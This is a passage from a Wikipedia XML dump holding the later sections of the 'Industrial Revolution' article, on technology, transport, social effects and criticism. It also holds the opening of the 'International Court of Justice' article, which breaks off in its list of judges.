The work ethic argument has, on the whole, tended to neglect the fact that several inventors and entrepreneurs were rational free thinkers or &quot;Philosophers&quot; typical of a certain class of British intellectuals in the late 18th century, and were by no means normal church goers or members of religious sects. Examples of these free thinkers were the [[Lunar Society]] of [[Birmingham]] which flourished from 1765 to 1809. Its members were exceptional in that they were among the very few who were conscious that an industrial revolution was then taking place in Great Britain. They actively worked as a group to encourage it, not least by investing in it and conducting scientific experiments which led to innovative products.

==Innovations==
The invention of the [[steam engine]] was one of the most important innovations of the industrial revolution. This was made possible by earlier improvements in iron smelting and metal working based on the use of [[coke (fuel)|coke]] rather than charcoal. Earlier in the 18th century the textile industry had harnessed water power to drive improved spinning machines (see [[spinning jenny]]) and looms (see [[flying shuttle]]). These textile mills became the model for the organisation  of human labour in factories.

====Transmission of innovation====
Knowledge of new innovation was spread by several means. Workers who were trained in the technique might move to another employer, or might be poached. A common method was for someone to make a study tour, gathering information where he could. Today this is called [[industrial espionage]], with modern concepts of automatic illegality.

During the whole of the Industrial Revolution and for the century before, all European countries and America engaged in this manner of study-touring; some nations, like Sweden and France, trained civil servants or technicians to undertake it as a matter of state policy. In other countries, notably Britain and America, this practice was carried out by individual manufacturers anxious to improve their own methods. Study tours were common then, as was the keeping of travel diaries; writings made by industrialists and technicians of the period are an incomparable source of information about their methods.

Another means for the spread of innovation was by the network of informal philosophical societies like the [[Lunar Society]] of Birmingham, in which members met to discuss science and often its application to manufacturing. Some of these societies published volumes of proceedings and transactions, and the London-based [[Society for the encouragement of Arts, Manufactures and Commerce]] or, more commonly, [[Society of Arts]] published an illustrated volume of new inventions, as well as papers about them in its annual Transactions.

There were publications describing technology. [[Encyclopedia]]s such as Harris's ''[[Lexicon technicum]]'' (1704) and Dr Abraham Rees's ''[[Cyclopaedia]]'' (1802-1819) contain much of value. Rees's ''Cyclopaedia'' contains an enormous amount of information about the science and technology of the first half of the Industrial Revolution, very well illustrated by fine engravings. Foreign printed sources such as the ''[[Descriptions des Arts et Métiers]]'' and Diderot's ''[[Encyclopédie]]'' explained foreign methods with fine engraved plates.

Periodical publications about manufacturing and technology began to appear in the last decade of the 18th century, and a number regularly included notice of the latest patents. Foreign periodicals, such as the [[Annales des Mines]], published accounts of travels made by French engineers who observed British methods on study tours.

===Industry===
====Factories====
[[Image:Dore_London.jpg|thumb|300px|right|''Over London by Rail'' [[Gustave Doré]] c 1870. Shows the densely populated and polluted environments created in the new industrial cities]]

Industrialisation also led to the creation of the [[factory]].  [[John Lombe]]'s [[Derby Industrial Museum|water-powered silk mill]] at [[Derby]] was operational by 1721.  In 1746, an integrated brass mill was working at [[Warmley]] near [[Bristol]].  Raw material went in at one end, was smelted into brass, and was turned into pans, pins, wire, and other goods.  Housing was provided for workers on-site. 

[[Josiah Wedgwood]] and [[Matthew Boulton]] were other prominent early industrialists. 

The factory system was largely responsible for the rise of the modern [[city]], as workers migrated into the cities in search of employment in the factories. For much of the 19th century, production was done in small mills, which were typically powered by water and built to serve local needs.

The transition to industrialisation was not wholly smooth. For example, a group of English workers known as [[Luddite]]s formed to protest against industrialization and sometimes [[sabotage]]d factories.

One of the earliest reformers of factory conditions was [[Robert Owen]].

====Machine tools====
The Industrial Revolution could not have developed without [[machine tool]]s, for they enabled manufacturing machines to be made. They have their origins in the tools developed in the 18th century by makers of clocks and watches, and scientific instrument makers to enable them to batch-produce small mechanisms. The mechanical parts of early textile machines were sometimes called 'clock work' due to the metal spindles and gears they incorporated. The manufacture of textile machines drew craftsmen from these trades and is the origin of the modern engineering industry. Machine makers early developed special purpose machines for making parts.

Machines were built by various craftsmen--[[carpenter]]s made wooden framings, and smiths and turners made metal parts. Because of the difficulty of manipulating metal, and the lack of machine tools, the use of metal was kept to a minimum. Wood framing had the disadvantage of changing dimensions with temperature and humidity, and the various joints used tended to rack (work loose) over time. As the Industrial Revolution progressed, machines with metal frames became more common, but required machine tools to make them economically. Before the advent of machine tools metal was worked manually using the basic hand tools of hammers, files, scrapers, saws and chisels. Small metal parts were readily made by this means, but for large machine parts, such as castings for a lathe bed, where components had to slide together, the production of flat surfaces by means of the hammer and chisel followed by filing, scraping and perhaps grinding with emery paste, was very laborious and costly.

Apart from workshop lathes used by craftsmen, the first large [[machine tool]] was the cylinder [[boring machine]], used for boring the large-diameter cylinders on early steam engines. They were to be found at all steam-engine manufacturers. The [[planing machine]], the [[slotting machine]] and the [[shaping machine]] were developed in the first decades of the 19th century. Although the [[milling machine]] was invented at this time, it was not developed as a serious workshop tool until during the Second Industrial Revolution.

Military production had a hand in the development of machine tools. [[Henry Maudslay]], who trained a school of machine tool makers early in the 19th century, was employed at the [[Royal Arsenal]], [[Woolwich]], as a young man where he would have seen the large horse-driven wooden machines for cannon boring made and worked by the [[Verbruggans]]. He later worked for [[Joseph Bramah]] on the production of metal locks, and soon after he began working on his own he was engaged to build the machinery for making ships' pulley blocks for the [[Royal Navy]] in the [[Portsmouth Block Mills]]. These were all metal, and the first machines for [[mass production]] and making components with a degree of [[interchangeability]]. The lessons Maudslay learned about the need for stability and precision he adapted to the development of machine tools, and in his workshops he trained a generation of men to build on his work, such as [[Richard Roberts (engineer)|Richard Roberts]], [[Joseph Clement]] and [[Joseph Whitworth]].

Maudslay made his name for his lathes and precision measurement. [[James Fox]] of [[Derby]] had a healthy export trade in machine tools for the first third of the century, as did [[Matthew Murray]] of Leeds. Roberts made his name as a maker of high-quality machine tools, and as a pioneer of the use of jigs and gauges for precision workshop measurement.

====Textile manufacture====
{{main|Textile manufacture during the Industrial Revolution}}
[[image:Spinning jenny.jpg|280px|thumb|left|Model of the spinning jenny in a museum in Wuppertal, Germany. The spinning jenny was one of the innovations that started the revolution.]]
In the early 18th century, British [[textile]] [[manufacture]] was based on [[wool]] which was processed by individual [[artisan]]s, doing the [[spinning]] and [[weaving]] on their own premises. This system is called a [[cottage industry]]. [[Flax]] and [[cotton]] were also used for fine materials, but the processing was difficult because of the pre-processing needed, and thus goods in these materials made only a small proportion of the output.

Use of the [[spinning wheel]] and [[loom|hand loom]] restricted the production capacity of the industry, but a number of incremental advances increased productivity to the extent that manufactured cotton goods became the dominant British export by the early decades of the 19th century. [[India]] was displaced as the premier supplier of cotton goods.

Step by step, individual inventors increased the [[efficiency]] of the individual steps of spinning ([[carding]], [[twisting]] and spinning, and subsequently [[rolling]]) so that the supply of [[yarn]] fed a weaving industry that itself was advancing with improvements to [[shuttle]]s and the loom or 'frame'. The output of an individual labourer increased dramatically, with the effect that these new [[machine]]s were seen as a threat to employment, and early innovators were attacked and their inventions were wrecked. The inventors often failed to exploit their inventions, and fell on hard times.

To capitalize upon these advances it took a class of [[entrepreneur]]s, of which the most famous is [[Richard Arkwright]]. He is credited with a list of inventions, but these were actually developed by people such as [[Thomas Highs]] and [[John Kay (Spinning Frame)|John Kay]]; Arkwright nurtured the inventors, patented the ideas, financed the initiatives, and protected the machines. He created the [[cotton mill]] which brought the production processes together in a [[factory]], and he developed the use of power &amp;ndash; first [[horse power]], then [[water power]] and finally [[steam power]] &amp;ndash; which made cotton manufacture a mechanized industry.

====Mining====
Coal mining in Britain, particuarly in [[Economy of Wales|South Wales]] is of great age. Before the steam engine, [[open-pit mine|pits]] were often shallow bell pits following a seam of coal along the surface and being abandoned as the coal was extracted. In other cases, if the geology was favourable, the coal was mined by means of an [[adit]] driven into the side of a hill. [[Shaft mining]] was done in some areas, but the limiting factor was the problem of removing water. It could be done by hauling buckets of water up the shaft by means of a horse gin, or it could be drained by an adit leading to a stream or ditch at lower level where it could flow away by gravity. The introduction of the steam engine enabled shafts to be made deeper, hence increasing output.

====Metallurgy====
{{main|Metallurgy during the Industrial Revolution}}

In the early 18th century, small-scale [[iron]] working and [[extractive metallurgy|extraction]] and processing of other [[metal]]s were carried out where local resources permitted. Fuel was primarily [[wood]] in the form of [[charcoal]], but consumption was starting to be constrained by lack of available timber. At the same time, demand for high-quality iron was dramatically increasing to keep pace with the improvements in [[weapon|military technology]] and the involvement of [[British military history#Early Modern period|Britain in numerous European wars]].

Principal suppliers of high-quality iron goods were [[Sweden]] and [[Russia]], with Russia being able to command increasingly high prices as Britain's need grew.

To fuel the iron [[smelting]] process, people moved from wood to [[coal]] and [[coke (fuel)|coke]]. Production of [[pig iron]], [[cast iron]] and [[wrought iron]] improved through the exchange of ideas (although this was by no means a fast process), with the most well-known name being [[Abraham Darby]]. The first Abraham Darby made great strides with using coke to fuel his [[blast furnace]]s at [[Coalbrookdale]] ([[1709]]), although this was principally due to the nature of the [[coke (fuel)|coke]] he was using, and the scientific reasons for the improvement were only discovered later. His family followed in his footsteps, and iron became a major construction material.

Other improvements followed, with [[Benjamin Huntsman]] developing a [[crucible steel]] technique in the [[1740s]], and [[Henry Cort]]'s [[puddling furnace]] enabling large-scale production of wrought iron to take place.

The reliance on overseas supplies was diminished, and improvements in [[machine tool]]s and the use of iron and steel in the development of the railways further boosted the industrial growth of Great Britain.

====Steam power====
{{main|Steam power during the Industrial Revolution}}
[[Image:Newcomens Dampfmaschine aus Meyers 1890.png|thumb|right|250px|Newcomen's atmospheric steam engine]]

The [[stationary steam engine]] had great influence on the progress of the Industrial Revolution, but for the period of the Industrial Revolution many industries still relied on wind and water power as well as horse and man-power for driving small machines.

The first [[atmospheric engine|steam engine]], invented by [[Thomas Newcomen]] in [[1712]], was used for draining mines or for driving mills by pumping water back to a reservoir that had passed through a water wheel. [[James Watt]]'s [[James Watt#Steam engine|engines]] added many efficiency improvements especially the external [[condenser]] [[1776]], steam under pressure and the centrifugal governor which enabled steam engines to be used to drive a factory or mill directly. 

Until about 1800, the most common pattern of steam engine was the beam engine, which was built within a stone or brick engine-house but after then various patterns of portable (ie readily removable engines, not on wheels) were developed, such as the [[table engine]]. 

[[Richard Trevithick]]'s use of high pressure steam [[1799]], improved efficiency still further and made engines compact enough to be used in  mobile [[locomotive]]s and [[steamboat|steam boats]].

The development of [[machine tools]] such as the planing and shaping machine enabled all the metal parts of the engines to be easily and accurately cut.

===Transportation===
{{main|Transport during the Industrial Revolution}}

At the beginning of the Industrial Revolution, inland transport was by navigable rivers and roads, with coastwise vessels employed to move heavy goods by sea. Railways or wagon ways were used for conveying coal to rivers for further shipment, and canals were beginning to be cut for moving goods between larger towns and cities.

During the Industrial Revolution, these different methods were improved and developed.

====Navigable rivers====
{{main|Rivers of Great Britain}}

All the major rivers were made navigable to a great or lesser degree. The [[Severn]] in particular was used for the movement of goods to the Midlands which had been imported into [[Bristol]] from abroad, and the export of goods from centres of production in [[Shropshire]] such as iron goods from [[Coalbrookdale]]. Transport was by way of [[Trow]]s - small sailing vessels which could pass the various shallows and bridges in the river. These could navigate the Bristol Channel to the South Wales ports and Somerset ports, such as [[Bridgwater]] and even as far as France.

====Coastal sail====
Sailing vessels had long been used for moving goods round the British coast. The trade transporting coal to London from Newcastle had begun in medieval times. The major international seaports such as London, Bristol and Liverpool were the means by which raw materials such as cotton might be imported and finished goods exported. Transporting goods onwards within Britain by sea was common during the whole of the Industrial Revolution and only fell away with the growth of the railways at the end of the period.

====Canals====
{{main|History of the British canal system}}

Canals began to be built in the late eighteenth century to link the major manufacturing centres in the Midlands and north with seaports and with London, at that time the largest manufacturing centre in the country. Canals were the first technology to allow bulk materials to be easily transported across county. A single canal horse could pull a load dozens of times larger than a cart at a faster pace. By the 1820s, a national network was in existence. Canal construction served as a model for the organisation and methods later used to construct the railways. They were eventually largely superseded as profitable commercial enterprises by the spread of the railways from the 1840s on.

Britain's canal network, together with its surviving mill buildings, is one of the most enduring features of the early Industrial Revolution to be seen in Britain.

====Roads====
Much of the original British road system was poorly maintained by thousands of local parishes, but from the [[1760s]] [[turnpike]] trusts were set up to charge tolls and maintain some roads. New engineered roads were built by [[John Metcalf (Civil engineer)|John Metcalf]], [[Thomas Telford|Thomas Telford]] and [[John Loudon McAdam|John Macadam]]. The major turnpikes radiated from London and were the means by which the Royal Mail was able to reach the rest of the country. Heavy goods transport on these roads was by means of slow broad wheeled carts hauled by teams of horses. Lighter goods were conveyed by smaller carts or by teams of pack horses. Stage coaches transported rich people. The less wealthy walked or paid to ride on a carriers cart.

====Railways====
{{main|History of rail transport in Great Britain}}

Wagonways for moving coal in the mining areas had started in the 17th century, and were often associatad with canal or river systems for the further movement of coal. These were all horse drawn or relied on gravity, with a stationary steam engine to haul the wagons back to the top of the incline. The first applications of the steam [[locomotive]] were on waggon or plate ways (as they were then often called from the cast iron plates used). Horse-drawn public railways did not begin until the early years of the 19th century. Steam-hauled public railways began with the [[Liverpool and Manchester]] and [[Stockton and Darlington]] Railways of the late 1820s. The construction of major railways connecting the larger cities and towns began in the 1830s but only gained momentum at the very end of the Industrial Revolution.

After many of the workers had completed the railways, they did not return to their rural lifestyles, but instead remained in the cities, providing additional workers for the factories.

==Social effects==
The industrial revolution led to a number of social problems within the newly developed [[working class]]. Children worked under miserable conditions and the families lived in [[slum|bad housing]].

===Child labour===
[[Child labour]] existed before the Industrial Revolution, and in fact dates back to [[prehistoric times]], but during the Industrial Revolution it grew far more abusive than ever before.[http://www.galbithink.org/child.htm] Politicians tried to limit child labour by law. Factory owners resisted; some felt that they were aiding the poor by giving their children work from the age of five years onward, and others simply welcomed the cheap labour. In [[1833]], the first [[law]] against child labour, the [[Factory Act of 1833]], was passed in England: Children younger than nine were not allowed to work, children were not permitted to work at night and the work day of youth under the age of 18 was limited to twelve hours. Factory [[inspector]]s supervised the execution of this law. About ten years later, the employment of children and women in mining was forbidden. These laws improved the situation; however child labour remained a problem in [[Europe]] up to the 20th century.

===Housing situation===
[[image:Glasgow-slum.png|thumb|200px|Slum in [[Glasgow]], 1871]]
In 1832, James Phillips Kay, an Edinburgh doctor, published a detailed report on the working conditions of the poor and describes worker's housing establishments as follows: &lt;br&gt;
:''Here, without distinction of age or sex, careless of all decency, they are crowded in small and wretched apartments; the same bed receiving a succession of tenants until too offensive for their unfastidious senses.'' &lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;&lt;br&gt;

In 1842, a Sanitary Report was produced by Edwin Chadwick:&lt;br&gt;
:&quot;In a cellar in Pendleton, I recollect there were three beds in the two apartments of which the habitation consisted, but having no door between them, in one of which a man and his wife slept; in another, a man, his wife and child; and in a third two unmarried females.(...)I have met with upwards of 40 persons sleeping in the same room, married and single, including, of course, children and several young adult persons of either sex.&quot;

===Luddites===
{{main|Luddite}}
The rapid industrialization of the English economy cost many craft workers their jobs.  The textile industry in particular industrialized early, and many weavers found themselves suddenly unemployed since they could no longer compete with machines which only required relatively limited (and unskilled) labour to produce more cloth than a single weaver. Many such unemployed workers, weavers and others, turned their animousity towards the machines that had taken their jobs and began destroying factories and machinery. These attackers became known as Luddites, supposedly followers of [[Ned Ludd]], a folklore figure. The first attacks of the Luddite movement began in [[1811]]. The Luddites rapidly gained popularity, and the British government had to take drastic measures to protect industry.

===Organization of labour===

:''See also [[History of the labour movement|Labour history]]''

Conditions for the working class were so bad during the industrial revolution, unions were formed to help protect the rights of the working man. The main method the unions used to effect change was [[strike action]]. Strikes were painful events for both sides, the unions and the management. The management was upset because strikes took their precious working force away for a large period of time, and the unions had to deal with riot police and various middle class prejudices that striking workers were the same as criminals, as well as loss of income. The strikes often led to violent and bloody clashes between police and workers. Factory managers usually reluctantly gave in to various demands made by strikers, but the conflict was generally long standing.

In England, the [[Combination Laws|Combination Act]] forbade workers to form any kind of trade union from [[1799]] until its repeal in [[1824]]. Even after this, unions were still severely restricted. 

In 1842, Cotton Workers in England staged a widespread strike.

===Other effects===
[[Image:graph_rel_share_world_manuf_1750_1900_01.png|right|thumb|300px]]
[[Image:Global Carbon Emission by Type.png|right|thumb|300px|Roughly exponential increase in carbon dioxide emissions from [[fossil fuels]], driven by increasing energy demands since the Industrial Revolution]]

The application of steam power to the industrial processes of [[printing]] supported a massive expansion of [[newspaper]] and popular [[book]] [[publishing]], which reinforced rising [[literacy]] and demands for mass political participation. Universal white male [[suffrage]] was adopted in the United States, resulting in the election of the popular [[Andrew Jackson]] in 1828 and the creation of political parties organised for mass participation in elections. In the [[United Kingdom]], the [[Reform Act 1832]] addressed the concentration of population in districts with almost no representation in Parliament, expanding the electorate, leading to the founding of modern political parties and initiating a series of reforms which would continue into the 20th century. In France, the [[July Revolution]] widened the franchise and established a [[constitutional monarchy]]. Belgium established its independence from the [[Netherlands]], as a constitutional monarchy, in 1830. Struggles for liberal reforms in [[Switzerland]]'s various cantons in the 1830s had mixed results. A further series of attempts at political reform or revolution would sweep Europe in 1848, with mixed results, and initiated massive migration to North America, as well as parts of South America, [[South Africa]], and [[Australia]]. The mass migration of rural families into urban areas saw the growth of bad living conditions in cities, long work hours without the traditional agricultural breaks (such as after harvest or in mid winter), a rise in child labour (the children received less pay and benefits than adults) and the rise of nationalism in most of Europe. The increase in coal usage saw a massive increase in atmospheric pollution.

The Industrial Revolution had significant impacts on the structure of society. Prior to its rise, the [[Public sphere|public]] and [[private sphere]]s held strong overlaps; work was often conducted through the home, and thus was shared in many cases by both a wife and her husband. However, during this period the two began to separate, with work and home life considered quite distinct from one another. This shift made it necessary for one partner to maintain the home and care for children. Women, holding the distinction of being able to [[breastfeeding|breastfeed]], thus more often maintained the home, with men making up a sizeable fraction of the workforce. With much of the family income coming from men, then, their power in relation to women increased further, with the latter often dependent on men's income. This had enormous impacts on the defining of [[gender role]]s and was effectively the model for what was later termed the [[traditional family]].

However, the need for a large workforce also pressured many women into industrial work, where they were often paid much less in relation to men. This was in large part due to a lack of organised labour among women to push for benefits and wage increases, and in part to ensure women's continued dependence on a man's income to survive.

==Intellectual paradigms==
===Capitalist===
{{main|Capitalism}}
The advent of [[The Enlightenment]] provided an intellectual framework which welcomed the practical application of the growing body of scientific knowledge &amp;mdash; a factor evidenced in the systematic development of the steam engine, guided by scientific analysis, and the development of the political and [[sociology|sociological]] analyses, culminating in [[Adam Smith]]'s [[The Wealth of Nations]].

==Criticism==
===Marxism===
{{main|Marxism}}

[[Karl Marx]] saw the industrialization process as the logical [[dialectics|dialectical]] progression of feudal economic modes, necessary for the full development of [[capitalism]], which he saw as in itself a necessary precursor to the development of [[socialism]] and eventually [[communism]]. According to Marx, industrialization polarizes societies into the [[bourgeoisie]] (those who own the [[means of production]], e.g., the factories and land) and the much larger [[proletariat]] (the working class who actually perform the [[labour (economics)|labour]] necessary to extract something valuable from the means of production). Marx asserts that the relationship between the two classes is fundamentally parasitic, insofar as the proletariat are always undercompensated for the true value of their labour by the bourgeoisie (according to the [[labour theory of value]]), which allows the bourgeoisie to grow absurdly wealthy through nothing more than the wholesale exploitation of the proletarians' labour.

Rapid advancements in technology left many skilled workers unemployed, as one agricultural and manufacturing task after another was mechanized. The flight of millions of newly unemployed people from rural areas or small towns to the large cities, and thus the development of large urban population centers, led to unprecedented conditions of poverty in the slums that housed workers for the new factories. At the same time, the bourgeois class, at only a small fraction of the proletariat's size, became exceedingly wealthy.

Marx believed that the industrial proletariat would eventually develop [[class consciousness]] and revolt against the bourgeoisie, leading to a more egalitarian [[socialism|socialist]] and eventually [[Communist]] state where the workers themselves would own the means of industrial production.

===Romantic Movement===
{{main|Romanticism}}

Concurrent with the industrial revolution there developed an intellectual and artistic hostility towards the new industrialisation known as the [[Romanticism|Romantic Movement]]. Its major exponents included the artist and poet [[William Blake]], and poets [[William Wordsworth]] ,[[Samuel Taylor Coleridge]], [[Keats]] and [[Percy Bysshe Shelley|Shelley]].  The movement stressed the importance of &quot;nature&quot; in art and language, in contrast to the 'monstrous' machines and factories. In Blake's words they were the, &quot;''Dark satanic mills''&quot; of his poem ''[[And did those feet in ancient time]]''.

==The Second Industrial Revolution==
:''Main article: [[Second Industrial Revolution]]''

The insatiable demand of the [[railroads]] for more durable rail led to the development of the means to cheaply mass-produce [[steel]]. Steel is often cited as the first of several new areas for industrial mass-production, which are said to characterize a &quot;[[Second Industrial Revolution]]&quot;, beginning around [[1850]]. This &quot;second&quot; Industrial Revolution gradually grew to include the [[chemical industry|chemical industries]], [[petroleum]] refining and distribution, [[electrical industry|electrical industries]], and, in the twentieth century, the [[automotive industry|automotive industries]], and was marked by a transition of technological leadership from Great Britain to the United States and [[Germany]].

The introduction of [[hydroelectric power]] generation in the [[Alps]] enabled the rapid [[industrialization]] of coal-starved northern Italy, beginning in the 1890s. The increasing availability of economic petroleum products also reduced the relation of coal to the potential for industrialization.

By the 1890s, industrialisation in these areas had created the first giant industrial corporations with often nearly global international operations and interests, as companies like [[United States Steel Corporation|U.S. Steel]], [[General Electric]], and [[Bayer|Bayer AG]] joined the railroads on the world's [[stock market]]s and among huge organisations.

==See also==
*[[Economic history of Britain]]
*[[Industrialization]]
*[[Second Industrial Revolution]]
*[[Revolution]]
*[[Capitalism in the nineteenth century]]
*[[Dialectics of progress]]
*[[Pre-industrial society]]

==Notes==
&lt;sup&gt;1&lt;/sup&gt; ''[[The Protestant Ethic and the Spirit of Capitalism]]'', [[Max Weber]], (1904-1905, Eng. trans. 1930)&lt;br&gt;
&lt;sup&gt;2&lt;/sup&gt; ''In Praise of Idleness'', [[Bertrand Russell]]&lt;br&gt;
&lt;sup&gt;3&lt;/sup&gt; [http://www.historyhome.co.uk/peel/p-health/mterkay.htm The full text of the report published by James Phillips Kay in 1832]

==References==
===General===
*Bernal, John Desmond. ''Science and Industry in the Nineteenth Century'' Bloomington: Indiana University Press, 1970.
*Derry, Thomas Kingston and Trevor I. Williams. ''A Short History of Technology : From the Earliest Times to A.D. 1900'' New York : Dover Publications, 1993.
*Hobsbawm, Eric J.. ''Industry and Empire : From 1750 to the Present Day'' . New York : New Press ; Distributed by W.W. Norton,1999.
*Kranzberg, Melvin and Carroll W. Pursell, Jr. editors. ''Technology in Western civilization'' New York, Oxford University Press, 1967.
*Lines, Clifford, ''Companion to the Industrial Revolution'', London, New York etc., Facts on File, 1990, ISBN 0-8160-2157-0
*[[Friedrich Hayek|Hayek, Friedrich ]]: ''Capitalism and the Historians'', The University of Chicago Press, ISBN 0-226-32072-3 (Paperback 1963)

===Causes===
*Landes, David S. ''The Unbound Prometheus : Technical Change and Industrial Development in Western Europe from 1750 to the Present'' 2nd ed. New York : Cambridge University Press, 2003.
*Paul Mantoux, ''The Industrial Revolution in the Eighteenth Century'', First English translation 1928, revised and reset edition 1961.

===Machine tools===
*Norman Atkinson ''Sir Joseph Whitworth'',[[1996]], [[Sutton Publishing]] Limited [[1996]] ISBN 0-7509-1211-1 (hc), ISBN 0-7509-1648-6 (pb)
*John Cantrell and Gillian Cookson, eds., ''Henry Maudslay and the Pioneers of the Machine Age'', [[2002]], Tempus Publishing, Ltd, pb., (ISBN 0-7524-2766-0)
*Rev. Dr. Richard L. Hills, ''Life and Inventions of Richard Roberts, 1789-1864'', Landmark Publishing Ltd, [[2002]], (ISBN 1-84306-027-2)
*Joseph Wickham Roe, ''English and American Tool Builders'', Yale University Press, [[1916]]. Rep. Lindsay Publications Inc., Bradley IL.,[[1987]], (ISBN 0-917914-74-0),(cloth), (ISBN 0-9107914-73-2), paper.

===External links===
*[http://search.dmoz.org/cgi-bin/search?search=industrial+revolution Industrial Revolution links at the Open Directory Project] Has over 50 linked pages on the Industrial Revolution
*[http://www.fordham.edu/halsall/mod/modsbook14.html Internet Modern History Sourcebook: Industrial Revolution]
*[http://www.bbc.co.uk/history/society_culture/industrialisation/ BBC History Home Page: Industrial Revolution]
*[http://www.makingthemodernworld.org.uk/ National Museum of Science and Industry website: machines and personalities ]
*[http://www.econlib.org/library/Enc/IndustrialRevolutionandtheStandardofLiving.html ''Industrial Revolution and the Standard of Living''] by Clark Nardinelli - the debate over whether standards of living rose or fell
*[http://mars.acnet.wnec.edu/~grempel/courses/wc2/lectures/industrialrev.html An Overveiw of The Industrial Revolution: Industrial Revolution]

{{Industrial Revolution}}
[[Category:Industrial Revolution|*]]
[[Category:Historical eras]]
[[Category:History of Britain]]
[[Category:History of technology]]

[[bg:Индустриална революция]]
[[ca:Revolució industrial]]
[[cy:Y Chwyldro Diwydiannol]]
[[da:Den Industrielle Revolution]]
[[de:Industrielle Revolution]]
[[es:Revolución industrial]]
[[eo:Industria revolucio]]
[[fr:Révolution industrielle]]
[[ko:산업혁명]]
[[id:Revolusi Industri]]
[[he:המהפכה התעשייתית]]
[[hu:Ipari forradalom]]
[[nl:Industriële revolutie]]
[[nds:Industrielle Revolutschoon]]
[[ja:産業革命]]
[[no:Den industrielle revolusjon]]
[[nn:Den industrielle revolusjonen]]
[[pl:Rewolucja przemysłowa]]
[[pt:Revolução Industrial]]
[[simple:Industrial Revolution]]
[[fi:Teollinen vallankumous]]
[[sr:Индустријска револуција]]
[[sv:Industriella revolutionen]]
[[th:การปฏิวัติอุตสาหกรรม]]
[[tr:Sanayi devrimi]]
[[zh:工业革命]]</text>
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  </page>
  <page>
    <title>International Court of Justice</title>
    <id>14918</id>
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      <timestamp>2006-03-03T12:56:53Z</timestamp>
      <contributor>
        <username>Cwoyte</username>
        <id>73124</id>
      </contributor>
      <minor />
      <comment>undo vandalism bit of edit by [[user:24.140.94.110]]</comment>
      <text xml:space="preserve">[[Image:Peace Palace.jpg|thumb|330px|Peace Palace, seat of the ICJ.]]The '''International Court of Justice''' (known colloquially as the '''World Court''' or '''ICJ''') is the principal judicial organ of the [[United Nations]]. Its seat is in the [[Peace Palace]] at [[The Hague]], [[Netherlands]]. Established in [[1945]] by the [[Charter of the United Nations]], the Court began work in [[1946]] as the successor to the [[Permanent Court of International Justice]]. The Statute of the International Court of Justice, similar to that of its predecessor, is the main constitutional document constituting and regulating the Court.{{ref|1}} The ICJ shouldn't be confused with the [[International Criminal Court]] or the [[War Crimes Law (Belgium)]], both of which also potentially have &quot;global&quot; jurisdiction. English and French are its two official languages.

The Court's workload is characterised by a wide range of judicial activity. Its main functions are to settle [[legal]] disputes submitted to it by [[state]]s and to give advisory opinions on legal questions submitted to it by duly authorised international organs and agencies. The number of [[case law|decisions]] made by the ICJ has been relatively small, but there has clearly been an increased willingness to use the Court since the [[1980s]], especially among [[developing countries]], although the [[USA]] withdrew from compulsory jurisdiction in 1986, meaning it only accepts the court's jurisdiction on a case-to-case basis. 

==Composition==

The ICJ is composed of fifteen permanent [[judge]]s elected by the [[UN General Assembly]] and the [[UN Security Council]] from a list of persons nominated by the national groups in the [[Permanent Court of Arbitration]]. The election process is set out in Articles 4-12 of the ICJ statute. Judges serve for nine years terms and may be re-elected. Elections take place every three years, with one-third of judges retiring each time, in order to ensure continuity within the court. 

Should a judge die in office, the practice has generally been to elect a judge of the same [[nationality]] to complete the term. No two may be nationals of the same country. According to Article 9, the membership of the Court is supposed to represent the &quot;main forms of civilization and of the principal legal systems of the world&quot;. Essentially, this has meant [[common law]], [[civil law (legal system)|civil law]] and [[socialist law]] (now [[post-communist law]]). Since the [[1960s]] each of the five permanent members of the Security Council ([[France]], [[China and the United Nations|China]], [[Russia]], the [[United Kingdom]], and the [[United States]]) have always had a judge on the Court. The exception was China (the [[Republic of China]] until [[1971]], the [[People's Republic of China]] from 1971 onwards), which did not have a judge on the Court from [[1967]]-[[1985]], because it did not put forward a candidate. The rule on a [[geopolitical]] composition of the bench exists despite the fact that there is no provision for it in the Statute of the ICJ.

Article 2 of the Statute provides that all judges should be &quot;elected regardless of their nationality among persons of high [[moral]] character&quot;, who are either qualified for the highest judicial office in their home states or known as lawyers with sufficient competence in international law. Judicial independence is dealt specifically with in Articles 16-18. Judges of the ICJ are not able to hold any other post, nor act as [[counsel]]. A judge can only be dismissed by [[unanimous]] vote of other members of the Court. Despite these provisions, the independence of ICJ judges has been questioned. For example, during the ''[[Nicaragua v. United States|Nicaragua Case]]'', the [[USA]] issued a communiqué suggesting that it could not present sensitive material to the Court because of the presence of judges from [[Eastern bloc]] states.{{ref|2}} 

Judges may deliver joint judgments or give their own separate opinions. Decisions and Advisory Opinions are by majority and, in the event of an equal division, the President's vote becomes decisive.{{ref|3}} Judges may also deliver separate dissenting opinions.

===''Ad hoc'' judges===

Article 31 of the statute sets out a procedure whereby ''[[ad hoc]]'' judges sit on contentious cases before the Court. This system allows any party to a contentious case to nominate a judge of their choice (usually of their nationality), if a judge of their nationality is not already on the bench. ''Ad hoc'' judges participate fully in the case and the deliberations, along with the permanent bench. Thus, it is possible that as many as seventeen judges may sit on one case. 

This system may seem strange when compared with domestic court processes, but its purpose is to encourage states to submit cases to the Court. For example, if a state knows it will have a judicial officer who can participate in deliberation and offer other judges local knowledge and an understanding of the state's perspective, that state may be more willing to submit to the Court's jurisdiction. Although this system does not sit well with the judicial nature of the body, it is usually of little practical consequence. ''Ad hoc'' judges usually (but not always) vote in favour of the state that appointed them and thus cancel each other out.

===Chambers===

Generally, the Court sits as a full bench, but in the last fifteen years it has on occasion sat as a chamber. Articles 26-29 of the statute allow the Court to form smaller chambers, usually three or five judges, to hear cases. Two types of chambers are contemplated by Article 26: firstly, chambers for special categories of cases, and second, the formation of ''ad hoc'' chambers to hear particular disputes. In [[1993]] a special chamber was established, under Article 26(1) of the ICJ statute, to deal specifically with [[Natural environment|environmental]] matters (although this chamber has never been used). 

''Ad hoc'' chambers are more frequently convened. For example, chambers were used to hear the ''Gulf of Maine Case'' ([[USA]] v [[Canada]]).{{ref|4}} In that case, the parties made clear they would withdraw the case unless the Court appointed judges to the chamber who were acceptable to the parties. Chambers judgments may have less authority than full Court judgments, or may diminish the proper interpretation of universal international law informed by a variety of cultural and legal perspectives. On the other hand, the use of Chambers might encourage greater recourse to the Court and thus enhance international [[dispute resolution]].{{ref|5}}

===Current composition===
[[Image:Rosalyn Higgins.jpg|thumb|Judge Higgins, President of the ICJ.]]

As of [[6 February]] [[2006]] the composition of the court is as follows:

*President: Dame [[Rosalyn Higgins]] ([[United Kingdom]])
*Vice-President: [[Awn Shawkat Al-Khasawneh]] ([[Jordan]])

